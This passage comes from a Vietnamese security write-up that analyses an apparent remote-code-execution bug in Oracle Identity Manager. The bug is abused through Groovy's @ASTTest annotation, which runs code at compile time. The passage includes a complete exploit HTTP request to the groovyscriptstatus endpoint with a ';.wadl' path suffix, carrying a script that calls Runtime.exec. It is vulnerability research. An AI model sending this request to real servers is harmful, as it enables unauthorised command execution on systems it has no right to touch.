href="https://groovy-lang.org/metaprogramming.html" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!prFa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 424w, https://substackcdn.com/image/fetch/$s_!prFa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 848w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1272w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png" width="1012" height="510" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:510,&quot;width&quot;:1012,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:&quot;https://groovy-lang.org/metaprogramming.html&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!prFa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 424w, https://substackcdn.com/image/fetch/$s_!prFa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 848w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1272w, https://substackcdn.com/image/fetch/$s_!prFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e944ed1-3036-40a1-9739-51817d4e51b6_1012x510.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Khi &#273;&#243; n&#243; s&#7869; t&#236;m c&#225;c annotation &#273;&#7863;c bi&#7879;t v&#224; g&#7885;i t&#7899;i l&#7899;p transformation t&#432;&#417;ng &#7913;ng. &#272;i&#7873;u n&#224;y cho ph&#233;p annotation kh&#244;ng ch&#7881; &#8220;m&#244; t&#7843;&#8221;, m&#224; c&#242;n thay &#273;&#7893;i ho&#7863;c t&#225;c &#273;&#7897;ng l&#234;n m&#227; ngu&#7891;n &#7903; m&#7913;c AST, v&#237; d&#7909;: t&#7921; &#273;&#7897;ng sinh constructor, th&#234;m getter/setter, th&#234;m logging</p><h3><strong>ASTTest</strong></h3><p>POC c&#7911;a Searchlight s&#7917; d&#7909;ng annotation <code>@ASTTest</code> v&#7899;i compile phase l&#224; <code>Semantic Analysis</code>. <code>@ASTTest</code> l&#224; m&#7897;t annotation &#273;&#7863;c bi&#7879;t do Groovy cung c&#7845;p, &#273;&#432;&#7907;c thi&#7871;t k&#7871; &#273;&#7875; gi&#250;p dev test v&#224; debug c&#225;c AST transformation.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://groovy-lang.org/metaprogramming.html#xform-ASTTest" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3y0C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 424w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 848w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1272w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png" width="1007" height="269" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:269,&quot;width&quot;:1007,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:&quot;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3y0C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 424w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 848w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1272w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Ta c&#243; th&#7875; ch&#232;n tr&#7921;c ti&#7871;p m&#7897;t &#273;o&#7841;n closure v&#224;o annotation, v&#224; Groovy s&#7869; th&#7921;c thi closure &#273;&#243; trong qu&#225; tr&#236;nh bi&#234;n d&#7883;ch t&#7841;i compile phase <code>Semantic Analysis</code>.</p><h3><strong>Debugging</strong></h3><p>Quay tr&#7903; l&#7841;i v&#7899;i bug c&#7911;a ch&#250;ng ta, sau khi truy&#7873;n v&#224;o endpoint <code>groovyscriptstatus</code> m&#7897;t &#273;o&#7841;n script groovy v&#7899;i 1 annotation nh&#432; d&#432;&#7899;i:</p><pre><code><code>POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: 192.168.127.176:14000
Content-Type: application/json
Content-Length: 333

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            java.lang.Runtime.getRuntime().exec(&#8221;calc&#8221;)
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()
</code></code></pre><p>script s&#7869; &#273;&#432;&#7907;c &#273;em &#273;i validate b&#7857;ng c&#225;ch parse th&#224;nh Groovy Code Source r&#7891;i compile:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PnQb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PnQb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 424w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 848w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1272w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png" width="820" height="283" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:283,&quot;width&quot;:820,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PnQb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 424w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 848w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1272w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TmJJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 424w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 848w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1272w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png" width="715" height="167" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5792baad-2855-48b4-82a0-bac272a17521_715x167.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:167,&quot;width&quot;:715,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 424w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 848w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1272w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!itkS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!itkS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 424w, https://substackcdn.com/image/fetch/$s_!itkS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 848w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1272w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png" width="600" height="97" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:97,&quot;width&quot;:600,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!itkS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 424w, https://substackcdn.com/image/fetch/$s_!itkS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 848w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1272w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wEdA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wEdA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 424w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 848w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1272w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png" width="906" height="182" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:182,&quot;width&quot;:906,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wEdA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 424w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 848w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1272w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>t&#7915; &#273;&#226;y ti&#7871;p t&#7909;c g&#7885;i t&#7899;i <code>GroovyClassLoader.doParseClass()</code> &#273;&#7875; ti&#7871;n h&#224;nh compile:</p><pre><code><code>private Class doParseClass(GroovyCodeSource codeSource) {
        validate(codeSource);
        CompilationUnit unit = this.createCompilationUnit(this.config, codeSource.getCodeSource()); //[4]

        SourceUnit su = null;
        File file = codeSource.getFile();
        if (file != null) {
            su = unit.addSource(file);
        } else {
            URL url = codeSource.getURL();
            if (url != null) {
                su = unit.addSource(url);
            } else {
                su = unit.addSource(codeSource.getName(), codeSource.getScriptText()); // add source
            }
        }

        ClassCollector collector = this.createCollector(unit, su);
        unit.setClassgenCallback(collector);
        int goalPhase = 7;
        if (this.config != null &amp;&amp; this.config.getTargetDirectory() != null) {
            goalPhase = 8;
        }

        unit.compile(goalPhase); // [5]
        // REDACTED

    }
